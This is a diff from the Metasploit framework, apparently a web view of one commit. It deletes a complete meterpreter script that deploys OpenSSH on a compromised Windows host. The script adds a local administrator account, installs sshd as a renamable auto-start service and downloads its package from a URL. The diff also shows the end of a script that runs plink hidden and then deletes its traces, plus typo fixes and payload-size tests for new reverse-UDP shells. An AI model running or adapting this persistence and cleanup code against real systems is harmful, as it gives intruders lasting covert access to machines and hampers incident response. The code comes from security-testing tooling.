print_status("-------Executing Client ------")
|
||||
|
||||
p = nil
|
||||
if not filemode
|
||||
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
|
||||
else
|
||||
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
|
||||
end
|
||||
|
||||
if noshell == nil
|
||||
client.console.run_single("interact #{p.channel.cid}")
|
||||
end
|
||||
|
||||
if filemode
|
||||
if not noshell == true
|
||||
if verbose
|
||||
print_status("Waiting 3 seconds to be sure the process was closed.")
|
||||
end
|
||||
sleep(3)
|
||||
if verbose
|
||||
print_status("Deleting the uploaded plink.exe...")
|
||||
end
|
||||
client.fs.file.rm(trg_filename)
|
||||
else
|
||||
print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
|
||||
end
|
||||
end
|
||||
|
||||
if not keyfile == nil
|
||||
if verbose
|
||||
print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
|
||||
end
|
||||
sleep(1)
|
||||
if verbose
|
||||
print_status("Deleting the keyfile !")
|
||||
end
|
||||
if verbose
|
||||
print_status(keyfile)
|
||||
end
|
||||
client.fs.file.rm(keyfile)
|
||||
end
|
||||
|
||||
if not cmdfile == nil
|
||||
print_status("You need to manually delete the uploaded #{cmdfile} !")
|
||||
end
|
||||
|
||||
#
|
||||
# Delete the registry-key that may have been created
|
||||
#
|
||||
if not hostkey == nil
|
||||
if verbose
|
||||
print_status("Deleting the registry-key set by the script.")
|
||||
end
|
||||
client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
|
||||
end
|
||||
|
||||
raise Rex::Script::Completed
|
@ -1,408 +0,0 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# meterpreter-script to deploy + run OpenSSH
|
||||
# on the target machine
|
||||
#
|
||||
# written by Oliver "illegalguy" Kleinecke
|
||||
# v.1.0 2010-04-25
|
||||
#
|
||||
|
||||
require 'net/http'
|
||||
meter_type = client.platform
|
||||
#
|
||||
# Options
|
||||
#
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"],
|
||||
"-U" => [ true, "Download OpenSSH-SFX from given URL"],
|
||||
"-u" => [ true, "Add windows-user (autoadded to local administrators"],
|
||||
"-p" => [ true, "Password for the new user"],
|
||||
"-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"],
|
||||
"-I" => [ true, "Install OpenSSH to the given directory"],
|
||||
"-F" => [ false, "Force overwriting of registry-values"],
|
||||
"-S" => [ true, "Set custom service description"],
|
||||
"-N" => [ true, "Set custom service name"],
|
||||
"-m" => [ true, "Do not start the OpenSSH-service after installation"],
|
||||
"-t" => [ true, "Set start-type of the service to manual (Default: auto)"]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line("OpenSSH-server deploy+run script")
|
||||
print_line("This script will deploy OpenSSH + run the SSH-server as a service")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
def createkey(key)
|
||||
root_key, base_key = client.sys.registry.splitkey(key)
|
||||
open_key = client.sys.registry.create_key(root_key, base_key)
|
||||
end
|
||||
|
||||
def deletekey(key)
|
||||
root_key, base_key = client.sys.registry.splitkey(key)
|
||||
rtrncode = client.sys.registry.delete_key(root_key, base_key)
|
||||
return rtrncode
|
||||
end
|
||||
|
||||
def setval(key, value, data, type = "REG_SZ")
|
||||
root_key, base_key = client.sys.registry.splitkey(key)
|
||||
open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE)
|
||||
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
||||
end
|
||||
|
||||
def queryval(key, value)
|
||||
root_key, base_key = client.sys.registry.splitkey(key)
|
||||
hkey = client.sys.registry.open_key(root_key, base_key)
|
||||
valdata = hkey.query_value(value)
|
||||
return valdata.data
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
#
|
||||
# Default values
|
||||
#
|
||||
extractfilename = File.join(Msf::Config.data_directory, "/openssh-extract.sfx")
|
||||
manual = false
|
||||
username = "none"
|
||||
password = nil
|
||||
downloadurl = 'http://updates.metasploit.com/data/win32-ssh/openssh.sfx'
|
||||
uninstall = nil
|
||||
installpath = nil
|
||||
license = 'Please go to https://olex.openlogic.com/licenses/openssh-license for license information!'
|
||||
extractexe = nil
|
||||
warning = 'Script stopped. There are openssh/cygwin-registrykeys on the target host. Please uninstall the service(s) first, or use -F!'
|
||||
forced = nil
|
||||
servicename = "OpenSSHd"
|
||||
servicedesc = "OpenSSH-Server"
|
||||
noauto = false
|
||||
dirname = nil
|
||||
type = "auto"
|
||||
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
|
||||
when "-h"
|
||||
usage
|
||||
|
||||
when "-f"
|
||||
if !val
|
||||
print_error("-f requires the SFX-filename as argument !")
|
||||
usage
|
||||
end
|
||||
extractfilename = val
|
||||
if not ::File.exist?(extractfilename)
|
||||
print_error("OpenSSH-SFX not found/accessible!")
|
||||
usage
|
||||
end
|
||||
manual = true
|
||||
|
||||
when "-U"
|
||||
if !val
|
||||
print_error("-U requires the download-URL for the OpenSSH-SFX as argument !")
|
||||
usage
|
||||
end
|
||||
downloadurl = val
|
||||
|
||||
when "-p"
|
||||
if !val
|
||||
print_error("-p requires the password (for the windows-user to add) as argument !")
|
||||
usage
|
||||
end
|
||||
if val.length > 14
|
||||
print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !")
|
||||
usage
|
||||
end
|
||||
password = val
|
||||
|
||||
when "-u"
|
||||
if !val
|
||||
print_error("-u requires the username (for the windows-user to add) as argument!")
|
||||
usage
|
||||
end
|
||||
username = val
|
||||
|
||||
when "-r"
|
||||
uninstall = true
|
||||
|
||||
when "-I"
|
||||
if !val
|
||||
print_error("-I requires a directory-name to use as installpath")
|
||||
usage
|
||||
end
|
||||
dirname = val
|
||||
|
||||
when "-F"
|
||||
forced = true
|
||||
|
||||
when "-S"
|
||||
if !val
|
||||
print_error("-S requires s custom string to use as the service-description")
|
||||
usage
|
||||
end
|
||||
servicedesc = val
|
||||
|
||||
when "-N"
|
||||
if !val
|
||||
print_error("-N requires a custom string to use as service-name")
|
||||
usage
|
||||
end
|
||||
servicename = val
|
||||
|
||||
when "-m"
|
||||
noauto = true
|
||||
|
||||
when "-t"
|
||||
type = manual
|
||||
|
||||
else
|
||||
print_error("Unknown option: #{opt}")
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type != 'windows'
|
||||
|
||||
#
|
||||
# Uninstall if selected
|
||||
#
|
||||
if uninstall
|
||||
username = nil
|
||||
servicename = nil
|
||||
begin
|
||||
dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native")
|
||||
rescue
|
||||
print_status("Could not find any sshd installed by this script. Please remove manually!")
|
||||
deletekey("HKLM\\Software\\Cygnus\ Solutions")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
uninstallfile = "#{dirname}\\etc\\uninst.bak"
|
||||
uf = client.fs.file.new(uninstallfile, "rb")
|
||||
while not uf.eof?
|
||||
linesarray = uf.read.split("\r\n")
|
||||
username = linesarray[0]
|
||||
servicename = linesarray[1]
|
||||
end
|
||||
uf.close
|
||||
# stop sshd-service, delete it, delete user + files afterwards
|
||||
print_status("Stopping the #{servicename}-service....")
|
||||
client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}")
|
||||
sleep 2
|
||||
print_status("#{servicename} has been stopped.")
|
||||
print_status("Deleting the #{servicename}-service....")
|
||||
client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}")
|
||||
sleep 1
|
||||
print_status("#{servicename} has been deleted.")
|
||||
unless username.strip == "none"
|
||||
print_status("Deleting user #{username}......")
|
||||
client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE")
|
||||
print_status("User #{username} has been deleted")
|
||||
end
|
||||
print_status("Deleting the directory #{dirname}....")
|
||||
client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}")
|
||||
print_status("#{dirname} has been deleted.")
|
||||
print_status("Deleting regkeys ....")
|
||||
deletekey("HKLM\\Software\\Cygnus\ Solutions")
|
||||
print_status("Registry-keys have been deleted .")
|
||||
print_status("Uninstall completed!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
#
|
||||
# Check for OpenSSH/Cygwin - Regkeys first and bail out if they exist
|
||||
#
|
||||
root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solutions")
|
||||
open_key = client.sys.registry.open_key(root_key, base_key)
|
||||
keys = open_key.enum_key
|
||||
if ( keys.length > 0)
|
||||
if not forced
|
||||
print_error(warning)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# If file doesn`t exist and file was not manually specified : auto-download
|
||||
#
|
||||
|
||||
if manual == false
|
||||
if not ::File.exist?(extractfilename)
|
||||
print_status("openssh-extract.sfx could not be found. Downloading it now...")
|
||||
print_status(license)
|
||||
extractexe = Net::HTTP.get URI.parse(downloadurl)
|
||||
open(extractfilename, "wb") { |fd| fd.write(extractexe) }
|
||||
print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.")
|
||||
downloaded = true
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generate sshd-dir + upload file to client
|
||||
#
|
||||
if dirname == nil
|
||||
dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}"
|
||||
print_status("Creating directory #{dirname}.....")
|
||||
client.fs.dir.mkdir(dirname)
|
||||
else
|
||||
if !::File.exist?(dirname) && !::File.directory?(dirname)
|
||||
print_status("Creating directory #{dirname}.....")
|
||||
client.fs.dir.mkdir(dirname)
|
||||
end
|
||||
end
|
||||
fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe"
|
||||
print_status("Uploading #{extractfilename} to #{fileontrgt}....")
|
||||
client.fs.file.upload_file(fileontrgt, extractfilename)
|
||||
print_status("#{extractfilename} successfully uploaded to #{fileontrgt}!")
|
||||
|
||||
|
||||
# Get required infos about the target-system
|
||||
clientenv = Hash.new
|
||||
envtxtname = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.txt"
|
||||
client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}")
|
||||
|
||||
fd = client.fs.file.new(envtxtname, "rb")
|
||||
while not fd.eof?
|
||||
linesarray = fd.read.split("\r\n")
|
||||
linesarray.each { |line|
|
||||
currentline = line.split('=')
|
||||
envvarname = currentline[0]
|
||||
envvarvalue = currentline[1]
|
||||
clientenv[envvarname] = envvarvalue
|
||||
}
|
||||
end
|
||||
fd.close
|
||||
|
||||
# Do not continue if client-os is not valid
|
||||
|
||||
unless clientenv["OS"] == 'Windows_NT'
|
||||
print_error("This script will run on Windows-NT based OS only!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
# Extract the files
|
||||
|
||||
print_status("Extracting the files ...")
|
||||
client.sys.process.execute(fileontrgt)
|
||||
sleep 3
|
||||
print_status("Files extracted .. ")
|
||||
|
||||
#
|
||||
# Import required registry keys
|
||||
#
|
||||
homebase = clientenv["ALLUSERSPROFILE"].slice(0,clientenv["ALLUSERSPROFILE"].rindex('\\'))
|
||||
|
||||
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2")
|
||||
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/")
|
||||
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native", dirname)
|
||||
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "flags", 10, "REG_DWORD")
|
||||
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home")
|
||||
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "native", homebase)
|
||||
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "flags", 10, "REG_DWORD")
|
||||
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin")
|
||||
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "native", "#{dirname}/bin")
|
||||
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "flags", 10, "REG_DWORD")
|
||||
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\Program Options")
|
||||
|
||||
#
|
||||
# Provide ACL for System User
|
||||
#
|
||||
client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F")
|
||||
|
||||
#
|
||||
# Add windows-user if requested
|
||||
#
|
||||
unless username == "none"
|
||||
if password == nil
|
||||
print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!")
|
||||
usage
|
||||
end
|
||||
|
||||
#Get localized name for windows-admin-grp
|
||||
admingrpname = nil
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt")
|
||||
sleep 1
|
||||
fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb")
|
||||
while not fd.eof?
|
||||
linesarray = fd.read.split("\n")
|
||||
linesarray.each { |line|
|
||||
if line[0..4] =~ /[aA]dmin/
|
||||
admingrpname = line.slice!(/[aA]dmin[a-z]+/)
|
||||
end
|
||||
}
|
||||
end
|
||||
fd.close
|
||||
sleep 2
|
||||
client.fs.file.rm("#{dirname}\\groupnames.txt")
|
||||
print_line("Adding user #{username}....")
|
||||
client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}")
|
||||
print_line("Add user #{username} to #{admingrpname}")
|
||||
client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD")
|
||||
end
|
||||
|
||||
#
|
||||
# Generate /etc/passwd + /etc/group files
|
||||
#
|
||||
print_status("Generating /etc/passwd + /etc/group files....")
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkpasswd.exe -l > #{dirname}\\etc\\passwd")
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\etc\\group")
|
||||
|
||||
#
|
||||
# Generate SSH-keypairs
|
||||
#
|
||||
print_status("Generating SSH-keys .....")
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t dsa -f /etc/ssh_host_dsa_key -N \"\"")
|
||||
sleep 1
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa1 -f /etc/ssh_host_key -N \"\"")
|
||||
sleep 1
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa -f /etc/ssh_host_rsa_key -N \"\"")
|
||||
|
||||
#
|
||||
# Add OpenSSH - Service
|
||||
#
|
||||
print_status("Adding OpenSSHd-Service.......")
|
||||
if type == manual
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"")
|
||||
else
|
||||
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"")
|
||||
end
|
||||
print_status("Service successfully installed!")
|
||||
sleep 2
|
||||
|
||||
#
|
||||
# Save "settings" to txtfile, to be able to del correct user etc afterwards
|
||||
#
|
||||
uninstallfile = "#{dirname}\\etc\\uninst.bak"
|
||||
uf = client.fs.file.new(uninstallfile, "w")
|
||||
uf.write "#{username} \r\n"
|
||||
uf.write "#{servicename} \r\n"
|
||||
uf.close
|
||||
|
||||
|
||||
# Run OpenSSH-service unless noauto was specified
|
||||
unless noauto
|
||||
print_status("Starting OpenSSH-Service....")
|
||||
client.sys.process.execute("cmd.exe", "/c net start #{servicename}")
|
||||
sleep 1
|
||||
print_status("OpenSSHd has been started!")
|
||||
end
|
||||
|
||||
# Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -265,6 +265,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
|
||||
"Print all vulnerabilities in the database",
|
||||
"Usage: vulns [addr range]",
|
||||
" -h,--help Show this help information",
|
||||
" -o <file> Send output to a file in csv format",
|
||||
" -p,--port <portspec> List vulns matching this port spec",
|
||||
" -s <svc names> List vulns matching these service names",
|
||||
" -R,--rhosts Set RHOSTS from the results of the search",
|
||||
|
@ -578,6 +578,16 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'cmd/unix/bind_nodejs'
|
||||
end
|
||||
|
||||
context 'cmd/unix/bind_socat_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/cmd/unix/bind_socat_udp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'cmd/unix/bind_socat_udp'
|
||||
end
|
||||
|
||||
context 'cmd/unix/bind_perl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -768,6 +778,16 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'cmd/unix/reverse_openssl'
|
||||
end
|
||||
|
||||
context 'cmd/unix/reverse_socat_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/cmd/unix/reverse_socat_udp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'cmd/unix/reverse_socat_udp'
|
||||
end
|
||||
|
||||
context 'cmd/unix/reverse_perl' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -1236,7 +1256,7 @@ RSpec.describe 'modules/payloads', :content do
|
||||
end
|
||||
|
||||
|
||||
context 'linux/armbe/shell_bind_tcp' do
|
||||
context 'linux/armbe/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/linux/armbe/shell_bind_tcp'
|
||||
@ -2460,6 +2480,16 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'python/shell_reverse_tcp_ssl'
|
||||
end
|
||||
|
||||
context 'python/shell_reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/python/shell_reverse_udp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/shell_reverse_udp'
|
||||
end
|
||||
|
||||
context 'ruby/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -2756,6 +2786,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'windows/dllinject/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/dllinject/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/dllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/dllinject/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/dns_txt_query_exec' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -3108,6 +3149,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'windows/meterpreter/reverse_tcp_uuid'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/metsvc_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -3271,6 +3323,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/patchupdllinject/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/patchupdllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupdllinject/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/patchupmeterpreter/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -3414,6 +3477,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/patchupmeterpreter/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/patchupmeterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupmeterpreter/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/shell/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -3557,6 +3631,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'windows/shell/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/shell/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/shell/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -3750,6 +3835,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'windows/upexec/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/upexec/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/upexec'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/upexec/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/vncinject/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
@ -3893,6 +3989,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||
reference_name: 'windows/vncinject/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/vncinject/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/x64/exec' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
Loading…
Reference in New Issue
Block a user